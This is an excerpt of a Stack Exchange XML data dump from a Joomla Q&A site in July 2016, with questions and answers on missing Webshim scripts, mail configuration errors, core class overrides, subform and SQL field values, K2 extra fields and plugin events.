  <row Id="17138" PostTypeId="1" AcceptedAnswerId="17139" CreationDate="2016-07-13T11:05:47.943" Score="0" ViewCount="57" Body="&lt;p&gt;This page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.smithsdetection.com/index.php?option=com_k2&amp;amp;view=item&amp;amp;id=19:prime-alert&amp;amp;Itemid=1417&amp;amp;lang=en#.V4YfGzVctmM&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.smithsdetection.com/index.php?option=com_k2&amp;amp;view=item&amp;amp;id=19:prime-alert&amp;amp;Itemid=1417&amp;amp;lang=en#.V4YfGzVctmM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is showing the various javascript errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dlLDU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlLDU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you look at the location of these files, this location doesn't exist in the site structure - details.js is showing as &lt;a href=&quot;http://www.smithsdetection.com/templates/blank/js/shims/details.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.smithsdetection.com/templates/blank/js/shims/details.js&lt;/a&gt; but the /shims/ folder doesn't exist.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2016-07-13T11:26:45.943" Title="Javascript errors showing on site, assets folder not found" Tags="|joomla-2.5|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17139" PostTypeId="2" ParentId="17138" CreationDate="2016-07-13T11:26:45.943" Score="2" Body="&lt;p&gt;You must download and copy Webshim library files to your &quot;blank&quot; template, maybe you have misconfigured something in a extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The download link is at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://afarkas.github.io/webshim/demos/index.html&quot; rel=&quot;nofollow&quot;&gt;http://afarkas.github.io/webshim/demos/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for webshims.1.15.10/js-webshim/minified and copy shims folder to your templates/blank folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All &quot;syntax error: expected expression, got '&amp;lt;'&quot; are 404 pages being interpreted as javascript.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-07-13T11:26:45.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17140" PostTypeId="2" ParentId="786" CreationDate="2016-07-13T14:39:43.047" Score="3" Body="&lt;p&gt;I confirm Joomla 1.5.24 running on PHP 5.5.9-1ubuntu4.17. PHP-FPM was installed with apt. Web server is nginx. All features seems to be running smoothly.&lt;/p&gt;&#xA;" OwnerUserId="8690" LastActivityDate="2016-07-13T14:39:43.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17141" PostTypeId="1" CreationDate="2016-07-13T19:26:06.063" Score="1" ViewCount="1553" Body="&lt;p&gt;I keep on getting the error 'Could not instantiate mail' in an module called Koparent that I use for my booking system in Joomla. At first I thought it might just be an issue with Koparent, then I searched around and found that it's likely an issue with my Joomla settings, see below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me fix this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zRhcC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zRhcC.png&quot; alt=&quot;joomla settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K71cI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K71cI.png&quot; alt=&quot;error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="64" LastEditDate="2016-07-17T14:07:07.687" LastActivityDate="2016-09-22T07:06:16.433" Title="Joomla 3.4.1. How to fix “Could not instantiate mail function&quot; in Koparent" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17142" PostTypeId="2" ParentId="17141" CreationDate="2016-07-13T19:50:51.460" Score="1" Body="&lt;p&gt;Seams like your server doesn't support phpmail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to switch to an alternativ method like &quot;sendmail&quot; or &quot;smtp&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the &quot;Send Test Mail&quot; button below the settings to test them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info about the email configuration in Joomla : &lt;a href=&quot;https://docs.joomla.org/J3.x:Global_configuration&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Global_configuration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-07-13T19:50:51.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17143" PostTypeId="1" CreationDate="2016-07-14T05:08:26.093" Score="3" ViewCount="310" Body="&lt;p&gt;I have developed a custom component for a client and they needed to be able to reuse email addresses for users. As Joomla required unique email addresses, I created a system plugin that fires on the &quot;onAfterRoute&quot; and loads my JTableUser class instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this isn't ideal but it was the best way to achieve the end result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just installed Joomla 3.6 and it is now throwing a fatal error saying I cannot redeclare the JTableUser class when I try to use anything from the . I am guessing that the original class is now being called before the onAfterRoute trigger.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemMyComponentOverride extends JPlugin&#xA;{&#xA;public function __construct(&amp;amp;$subject, $config = array()) {&#xA;      parent::__construct($subject, $config);&#xA;  }&#xA;&#xA;  public function onAfterRoute() {&#xA;      $app = JFactory::getApplication();&#xA;      $option = JRequest::getCMD('option');&#xA;      if('com_users' == JRequest::getCMD('option')) {&#xA;          require_once('path_to_my_code.php');&#xA;      }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this in Joomla 3.6?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lee&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2017-01-10T12:25:48.850" Title="Joomla 3.6 Core Override" Tags="|joomla-3.x|overrides|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17144" PostTypeId="2" ParentId="17111" CreationDate="2016-07-14T06:53:55.183" Score="2" Body="&lt;p&gt;Unless you are blocking Internet access to all users of the intranet, you have to apply security updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common attack vectors can be used to attack your internal site:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Both a fishing attack or XSS vulnerability on any third party site could be used to run standardised SQL injection attacks on all sites open in the same browser, different tab.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the same vectors can be used to inject JavaScript via XSS b not your Intranet, then becoming a new attack vector.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;again the same vectors can be used to impersonate your super admin on your Intranet, doing anything they want.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do they know you have a vulnerable Joomla site? They don't, they just attack all commonly used systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Joomla sites I manage are under constant attack for WordPress, Drupal, Joomla and Zend framework attacks, at least these are the ones i recognise.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2016-07-14T06:53:55.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17145" PostTypeId="1" AcceptedAnswerId="17159" CreationDate="2016-07-14T07:34:52.033" Score="0" ViewCount="171" Body="&lt;p&gt;Yesterday I upgraded Joomla to the new 3.6 version and I published an article which didn't show up on my page. I've browsed through the articles, and the newly published article was at the bottom of that list. How can I save the article to be ordered by published date?&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2016-07-14T19:09:26.943" Title="After upgrade to Joomla 3.6, new saved articles are on the bottom of the articles list" Tags="|joomla-3.x|articles|update|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17146" PostTypeId="1" AcceptedAnswerId="17152" CreationDate="2016-07-14T08:21:40.943" Score="9" ViewCount="2504" Body="&lt;p&gt;I want to embed a simple slideshow to my template, and I want to use subform to make easier to change the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I use to call the child xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;slideshow_items&quot; type=&quot;subform&quot; formsource=&quot;templates/jomlamaster/admin/subform/slideshow.xml&quot; min=&quot;1&quot; max=&quot;4&quot; multiple=&quot;true&quot; layout=&quot;joomla.form.field.subform.repeatable-table&quot; groupByFieldset=&quot;true&quot; label=&quot;Subform Field&quot; description=&quot;Subform Field Description&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the content of slideshow.xml :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fieldset name=&quot;fieldset&quot; label=&quot;Slideshow&quot;&amp;gt;&#xA;&amp;lt;field name=&quot;slideshow_img&quot; type=&quot;media&quot; directory=&quot;&quot; label=&quot;Slideshow item&quot; description=&quot;Choose an image slideshow&quot;/&amp;gt;&#xA;&amp;lt;field name=&quot;slideshow_title&quot; type=&quot;text&quot; class=&quot;inputbox&quot; label=&quot;Slideshow text&quot; size=&quot;40&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I get when print_r($slideshow_items);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [slideshow_items0] =&amp;amp;gt; stdClass Object&#xA;        (&#xA;            [slideshow_img] =&amp;amp;gt; images/slideshow/img0.jpg&#xA;            [slideshow_text] =&amp;amp;gt; Title 1&#xA;        )&#xA;&#xA;    [slideshow_items1] =&amp;amp;gt; stdClass Object&#xA;        (&#xA;            [slideshow_img] =&amp;amp;gt; images/slideshow/img1.jpg&#xA;            [slideshow_text] =&amp;amp;gt; Title 2&#xA;        )&#xA;&#xA;    [slideshow_items2] =&amp;amp;gt; stdClass Object&#xA;        (&#xA;            [slideshow_img] =&amp;amp;gt; images/slideshow/img2.jpg&#xA;            [slideshow_text] =&amp;amp;gt; Title 3&#xA;        )&#xA;&#xA;    [slideshow_items3] =&amp;amp;gt; stdClass Object&#xA;        (&#xA;            [slideshow_img] =&amp;amp;gt; images/slideshow/img3.jpg&#xA;            [slideshow_text] =&amp;amp;gt; Title 4&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I parse the values above so I can use them for slideshow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-07-14T10:27:16.097" LastActivityDate="2016-10-28T12:29:23.050" Title="How to get value from Sub Form" Tags="|joomla-3.6|subform|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17147" PostTypeId="1" CreationDate="2016-07-14T08:38:25.050" Score="1" ViewCount="861" Body="&lt;p&gt;I'm working on custom Joomla MVC component for Joomla 2.x. I have a .xml file for custom menu item type. I need to get the value_field from it to tell the view what to show from database. I tried and researched everything and it seems nothing works for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the codes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default.xml&#xA;&#xA;    &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;    &amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;League select&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;Selector for league view on site&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;selLeag&quot; &#xA;               type=&quot;sql&quot;  &#xA;               label=&quot;Select league&quot; &#xA;               query=&quot;SELECT leagueName, id FROM footleague_leagues&quot;&#xA;               key_field=&quot;id&quot; &#xA;               value_field=&quot;leagueName&quot; &#xA;               required=&quot;true&quot;&#xA;        &amp;gt;&#xA;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Select league&amp;lt;/option&amp;gt;&#xA;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;        &amp;lt;field name=&quot;selDiv&quot; &#xA;               type=&quot;sql&quot;  &#xA;               label=&quot;Select division&quot; &#xA;               query=&quot;SELECT divisionName, id FROM footleague_divisions&quot; &#xA;               key_field=&quot;id&quot; &#xA;               value_field=&quot;divisionName&quot; &#xA;               required=&quot;true&quot;&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Select division&amp;lt;/option&amp;gt;&#xA;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;leagueinfo.php model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    defined('_JEXEC') or die('Restricted access');&#xA;&#xA;    jimport('joomla.application.component.modelitem');&#xA;&#xA;    class FutLigaModelLeagueInfo extends JModelItem{&#xA;&#xA;    protected $msg;&#xA;&#xA;    public function getMsg(){&#xA;&#xA;        if(!isset($this-&amp;gt;msg)){&#xA;            //this shows me only the ids from database but I need value_field&#xA;            $leagueid = JRequest::getVar('selLeag');&#xA;            $divisionid = JRequest::getVar('selDiv');&#xA;&#xA;            //this shows me an empty array&#xA;            $data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&#xA;        echo $leagueid;&#xA;        echo $divisionid;&#xA;&#xA;        print_r($data);&#xA;&#xA;&#xA;    }&#xA;&#xA;    return $this-&amp;gt;msg;&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for help! :)&lt;/p&gt;&#xA;" OwnerUserId="8693" LastActivityDate="2018-01-06T18:27:07.527" Title="How to get xml form values in Joomla 2.x?" Tags="|joomla-2.5|jform|model|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17148" PostTypeId="2" ParentId="17147" CreationDate="2016-07-14T09:15:25.497" Score="1" Body="&lt;p&gt;You can add a parameter in the menu item and to obtain the &lt;code&gt;value_field&lt;/code&gt;. You cannot directly achieve that but yes you can concat the 2 columns and pass the value in &lt;code&gt;key_field&lt;/code&gt; in xml and then explode in model file and as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;default.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;League select&quot;&amp;gt;&#xA;   &amp;lt;message&amp;gt;Selector for league view on site&amp;lt;/message&amp;gt;&#xA;&amp;lt;/layout&amp;gt;&#xA;&#xA;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;selLeag&quot; type=&quot;sql&quot; label=&quot;Select league&quot; &#xA;     query=&quot;SELECT leagueName, id, concat( leagueName, ':-:',id) AS leagueNameid FROM footleague_leagues&quot;key_field=&quot;leagueNameid&quot; value_field=&quot;leagueName&quot; required=&quot;true&quot;&amp;gt;&#xA;           &amp;lt;option value=&quot;&quot;&amp;gt;Select league&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&#xA;   &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Html Output of the xml field will give you select options as below:Suppose here, NFL league is the &lt;code&gt;leagueName&lt;/code&gt; and 1 is it's &lt;code&gt;id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;jform_params_selLeag&quot; name=&quot;jform[params][selLeag]&quot; class=&quot;chzn-done&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Select League&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;NFL:-:1&quot;&amp;gt;NFL&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;models/leagueinfo.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuParam = JFactory::getApplication()-&amp;gt;getParams();&#xA;$selLeag = $menuParam-&amp;gt;get('selLeag');// output: NFL:-:1&#xA;$explode = explode(':-:',$selLeag);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this way, you have both &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;leagueName&lt;/code&gt; and now you can use this value as per you want. Hope this helped! &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-07-15T06:26:33.373" LastActivityDate="2016-07-15T06:26:33.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17149" PostTypeId="2" ParentId="17110" CreationDate="2016-07-14T09:25:02.970" Score="0" Body="&lt;p&gt;Articles Anywhere Pro can help with this by using &lt;code&gt;{if}&lt;/code&gt; tags to filter out articles you don't want to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.regularlabs.com/forum/articlesanywhere/31947-filter-by-article-author-id&quot; rel=&quot;nofollow noreferrer&quot;&gt;filter by article author ID&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;November 2018 Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As at Joomla 3.9.0, the &quot;Latest Articles&quot; module now has an option to display articles by a specific author. You can set up a module with a custom module position and then add this to an article using &lt;code&gt;{loadposition custom-module-position}&lt;/code&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-11-11T11:37:48.460" LastActivityDate="2018-11-11T11:37:48.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17150" PostTypeId="2" ParentId="17143" CreationDate="2016-07-14T09:42:48.637" Score="1" Body="&lt;p&gt;&lt;strong&gt;JTableUser&lt;/strong&gt; is very tricky. Since it is loaded at the very first time the framework is initialized, it cannot be easily overloaded by a system plugin and it cannot be evicted from memory once it is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the case, I had to create a &lt;strong&gt;patch&lt;/strong&gt; function, where the original JUser class is replaced in the core by the system plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;patch('JTableUser', '/libraries/joomla/table/user.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-07-14T09:42:48.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17152" PostTypeId="2" ParentId="17146" CreationDate="2016-07-14T12:14:47.667" Score="7" Body="&lt;p&gt;This is my solution. If there's any better solution please let me know &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($slideshow_items as $item) : ?&amp;gt;&#xA;  &amp;lt;div class=&quot;slideshow&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;slideshow_img; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;p class=&quot;slideshow_text&quot;&amp;gt;&#xA;      &amp;lt;?php echo $item-&amp;gt;slideshow_text; ?&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-07-14T12:14:47.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17153" PostTypeId="2" ParentId="5855" CreationDate="2016-07-14T12:18:12.370" Score="1" Body="&lt;p&gt;It's now possible with the&#xA;&lt;a href=&quot;https://www.joomla.org/3/160-sub-form-field&quot; rel=&quot;nofollow&quot;&gt;Sub Form field function introduced&lt;/a&gt; in Joomla 3.6&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-07-14T12:18:12.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17154" PostTypeId="5" CreationDate="2016-07-14T14:35:10.573" Score="0" Body="&lt;p&gt;The field allow to include any existing form into the current form. If attribute multiple set to true then the included form will be repeatable. The Field have a couple &quot;predefined&quot; layouts for display the subform as table or as div container, and of course it allow to use your own layout.&#xA;Field support Default values from the included form, and from json string in default attribute. Last have higher priority.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-07-14T21:11:42.833" LastActivityDate="2016-07-14T21:11:42.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17155" PostTypeId="4" CreationDate="2016-07-14T14:35:10.573" Score="0" Body="Sub Form Field function is introduced in Joomla! 3.6. This function allows developer to nest XML forms inside each other or reuse existing forms inside the current form." OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-07-14T21:11:23.380" LastActivityDate="2016-07-14T21:11:23.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17156" PostTypeId="2" ParentId="17119" CreationDate="2016-07-14T15:23:27.260" Score="0" Body="&lt;p&gt;Don't think there is an api for what you need. Aside from the rss mentioned above, you might want to use a site crawler..&lt;/p&gt;&#xA;" OwnerUserId="3993" LastActivityDate="2016-07-14T15:23:27.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17159" PostTypeId="2" ParentId="17145" CreationDate="2016-07-14T19:09:26.943" Score="2" Body="&lt;p&gt;This is a bug (some claim it's a feature) and is currently being sorted out here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/11103&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/11103&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there will be a Joomla 3.6.1 very soon.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-14T19:09:26.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17161" PostTypeId="1" AcceptedAnswerId="17173" CreationDate="2016-07-14T20:27:39.803" Score="2" ViewCount="672" Body="&lt;p&gt;I'm building a module that will read parameters from the current page's K2 extra fields, and use them to load modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully loaded the current page's item, but it's &quot;extra_fields&quot; array is missing the extra field name. It's structured like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extra_fields {&#xA;    [0]=&amp;gt; { &quot;id&quot;=&amp;gt;&quot;5&quot;, &quot;value&quot;=&amp;gt;&quot;Field 1 Value&quot; }&#xA;    [1]=&amp;gt; { &quot;id&quot;=&amp;gt;&quot;6&quot;, &quot;value&quot;=&amp;gt;&quot;Field 2 Value&quot; }&#xA;    [2]=&amp;gt; { &quot;id&quot;=&amp;gt;&quot;7&quot;, &quot;value&quot;=&amp;gt;&quot;Field 3 Value&quot; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;id&quot; variables match the extra field ids, but I don't know how to access them from my module. I'm guessing it'll involve getting them through the database using their id, but I don't know how to do that.&lt;/p&gt;&#xA;" OwnerUserId="8455" LastEditorUserId="8455" LastEditDate="2016-07-15T12:36:24.530" LastActivityDate="2016-07-15T12:55:25.477" Title="Get K2 Extra Field Name Using Id" Tags="|k2|database|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17162" PostTypeId="2" ParentId="17108" CreationDate="2016-07-14T23:10:13.680" Score="1" Body="&lt;p&gt;Small contribution, the full list of &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;Joomla! Plugin Events&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5650" LastActivityDate="2016-07-14T23:10:13.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17163" PostTypeId="1" AcceptedAnswerId="17166" CreationDate="2016-07-14T23:33:48.503" Score="4" ViewCount="464" Body="&lt;p&gt;As per title, is there already an event that can work like a sort of &lt;code&gt;OnAfterCompileHead&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe &lt;code&gt;onAfterDispatch&lt;/code&gt;, &lt;code&gt;onAfterRender&lt;/code&gt; or &lt;code&gt;onBeforeRender&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change some meta tags in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; like &lt;code&gt;canonical&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt;, and so on.&lt;/p&gt;&#xA;" OwnerUserId="5650" LastActivityDate="2016-07-15T07:56:06.023" Title="Is there an event like &quot;OnAfterCompileHead&quot;?" Tags="|joomla-3.x|plugin|joomla-api|system-plugin|plugin-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17164" PostTypeId="1" CreationDate="2016-07-15T04:57:50.307" Score="1" ViewCount="360" Body="&lt;p&gt;The item of my interest is in the &lt;strong&gt;__zoo_item&lt;/strong&gt; table. My query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('params')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__zoo_item'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$resultado = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The contents of &lt;strong&gt;params&lt;/strong&gt; is a JSON like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {&#xA;    &quot;metadata.title&quot;: &quot;&quot;,&#xA;    &quot;metadata.description&quot;: &quot;&quot;,&#xA;    &quot;metadata.keywords&quot;: &quot;&quot;,&#xA;    &quot;metadata.robots&quot;: &quot;&quot;,&#xA;    &quot;metadata.author&quot;: &quot;&quot;,&#xA;    &quot;config.enable_comments&quot;: &quot;0&quot;,&#xA;    &quot;config.primary_category&quot;: &quot;27&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to retrieve the value of &lt;strong&gt;primary_category&lt;/strong&gt;. That is, I need retrieve: &lt;strong&gt;27&lt;/strong&gt;. How do I do that? I try to recover it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($resultado as value) {&#xA;    if ( is_object($value) ) {&#xA;        echo $value-&amp;gt;config.primary_category;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the best way to do this?&#xA;The browser returns this: &lt;strong&gt;primary_category&lt;/strong&gt;. How to retrieve the value: 27?&lt;/p&gt;&#xA;" OwnerUserId="8699" LastActivityDate="2024-01-07T11:07:05.843" Title="How to iterate over the &quot;params&quot; of an item ZOO Joomla?" Tags="|joomla-3.x|php|zoo|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
